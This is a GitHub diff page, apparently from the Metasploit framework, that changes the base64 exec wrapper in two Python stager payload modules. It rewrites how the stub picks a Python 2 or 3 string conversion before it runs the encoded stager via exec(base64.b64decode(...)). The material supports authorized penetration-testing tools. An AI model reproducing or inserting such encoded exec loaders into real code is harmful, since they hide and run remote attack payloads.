File tree Expand file tree Collapse file tree 2 files changed +4
-4
lines changed
modules/payloads/stagers/python Expand file tree Collapse file tree 2 files changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -42,8 +42,8 @@ def generate
42
42
cmd << "exec(d,{'s':c})\n "
43
43
44
44
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
45
- b64_stub = "import base64,sys; exec(base64.b64decode("
46
- b64_stub << "{2:str}.get(sys.version_info[0], lambda b:bytes(b,'UTF-8')) ('"
45
+ b64_stub = "import base64,sys;exec(base64.b64decode("
46
+ b64_stub << "{2:str,3: lambda b:bytes(b,'UTF-8')}[sys.version_info[0]] ('"
47
47
b64_stub << Rex ::Text . encode_base64 ( cmd )
48
48
b64_stub << "')))"
49
49
return b64_stub
Original file line number Diff line number Diff line change @@ -40,8 +40,8 @@ def generate
40
40
cmd << "exec(d,{'s':s})\n "
41
41
42
42
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
43
- b64_stub = "import base64,sys; exec(base64.b64decode("
44
- b64_stub << "{2:str}.get(sys.version_info[0], lambda b:bytes(b,'UTF-8')) ('"
43
+ b64_stub = "import base64,sys;exec(base64.b64decode("
44
+ b64_stub << "{2:str,3: lambda b:bytes(b,'UTF-8')}[sys.version_info[0]] ('"
45
45
b64_stub << Rex ::Text . encode_base64 ( cmd )
46
46
b64_stub << "')))"
47
47
return b64_stub
You can’t perform that action at this time.
0 commit comments